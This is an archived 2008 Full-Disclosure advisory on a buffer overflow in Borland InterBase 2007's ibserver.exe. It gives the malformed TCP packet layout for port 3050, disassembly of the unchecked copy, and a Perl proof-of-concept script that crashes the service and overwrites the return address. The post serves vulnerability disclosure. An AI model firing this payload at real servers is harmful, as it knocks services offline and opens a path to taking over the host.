full-disclosure - Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <6749445.379281207898362977.JavaMail.coremail@bj163app121.163.com>
Date: Fri, 11 Apr 2008 15:19:22 +0800 (CST)
From: alau <alau@....com>
To: bugtraq@...urityfocus.com, full-disclosure@...ts.grok.org.uk
Cc: alau@....com
Subject: Borland InterBase 2007 "ibserver.exe" Buffer
 Overflow Vulnerability POC

Borland InterBase 2007 "ibserver.exe" Buffer Overflow Vulnerability POC
 
Affected Software:
    Borland InterBase 2007 Service Pack 2.
    ibserver.exe version 8.0.0.123
Severity:
    High
Summary:
    There exists a vulnerability in Borland InterBase 2007.
    The attacker who successfully exploited this vulnerability can gain control of vulnerable systems.
Details:
    There exists a buffer overflow vulnerability in "ibserver.exe" which is contained in Borland InterBase 2007 Service Pack 2.
    
 The vulnerable opcode is 0x52. When sending some malformed data as below to TCP port 3050,
    | 4bytes Opcode  |                  "\x00\x00\x00\x52\"
    | 4bytes Unknow  |                  "\xFF\xFF\xFF\xFF"
    | 4bytes Length1 |                  "\x00\x00\x03\xE8"
    | Data1          |                  "\x41"x1000
    | 4bytes Length2 |                  "\x00\x00\x00\x10"
    | Data2          |                  "\x42"x16
  
 InterBase ibserver service will terminate and reboot. It results in the return address be overwritten as following.
text:0041460F                 mov     ecx, [ebp+arg_4]
text:00414612                 xor     edx, edx
text:00414614                 mov     dx, [ecx]
text:00414617                 push    edx
text:00414618                 mov     eax, [ebp+arg_4]
text:0041461B                 mov     ecx, [eax+4]
text:0041461E                 push    ecx                          // | Data1 |   "\x41"x1000
text:0041461F                 mov     edx, [ebp+arg_0]
text:00414622                 push    edx
text:00414623                 mov     eax, [ebp+arg_0]
text:00414626                 mov     ecx, [eax+4]
text:00414629                 call    dword ptr [ecx+8]            //call function 411136 (strcpy)

text:00411136                 push    ebp
text:00411137                 mov     ebp, esp
text:00411139                 push    ecx
text:0041113A                 push    esi
text:0041113B                 push    edi
.....
text:00411157                 mov     ecx, [ebp+loop_count]
text:0041115A                 mov     eax, [ebp+recv_info_struct]
text:0041115D                 mov     esi, [eax+0Ch]
text:00411160                 mov     edi, [ebp+arg_4]
text:00411163                 mov     edx, ecx
text:00411165                 shr     ecx, 2
text:00411168                 rep movsd                     
                                   //copy data 1000 bytes 0x41,without boundary check
                                   //Buffer overflow take place
text:0041116A                 mov     ecx, edx
text:0041116C                 and     ecx, 3
text:0041116F                 rep movsb
    
:stack
    FrameEBP RetEIP  Syms Symbol 
    013AF5EC 41414141  N   ibserver!.text + 00026F68
 
How to Reproduce:
    Run the POC as below:
    poc.pl victimAddress
 
Discovered by:
    Liu Zhen Hua
 
###############################################################################################################
#                                 POC.pl                                                                   #
###############################################################################################################
#!/usr/bin/perl -w
#Author:  Liu Zhen Hua <alau [at] 163.com> 

use IO::Socket;
use strict;
my $host=$ARGV[0];
sub usage {
print "usage: perl poc.pl serverip\n";
}
if ($#ARGV < 0) {
usage();
exit(); 
}
my $victim = IO::Socket::INET->new(Proto=>'tcp',
                                PeerAddr=>$host,
                                PeerPort=>3050);
my $pad0 = "\x41"x1000;       #"\x00\x00\x03\xE8"
my $pad5 = "\x43"x16; 
my $exploit = "\x00\x00\x00\x52\xFF\xFF\xFF\xFF\x00\x00\x03\xE8".$pad0."\x00\x00\x00\x10".$pad5;
print $victim $exploit ;
print " + Malicious  request sent ...\n";
sleep(1);
print "Done.\n";
close($victim);
exit;

 
 
Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/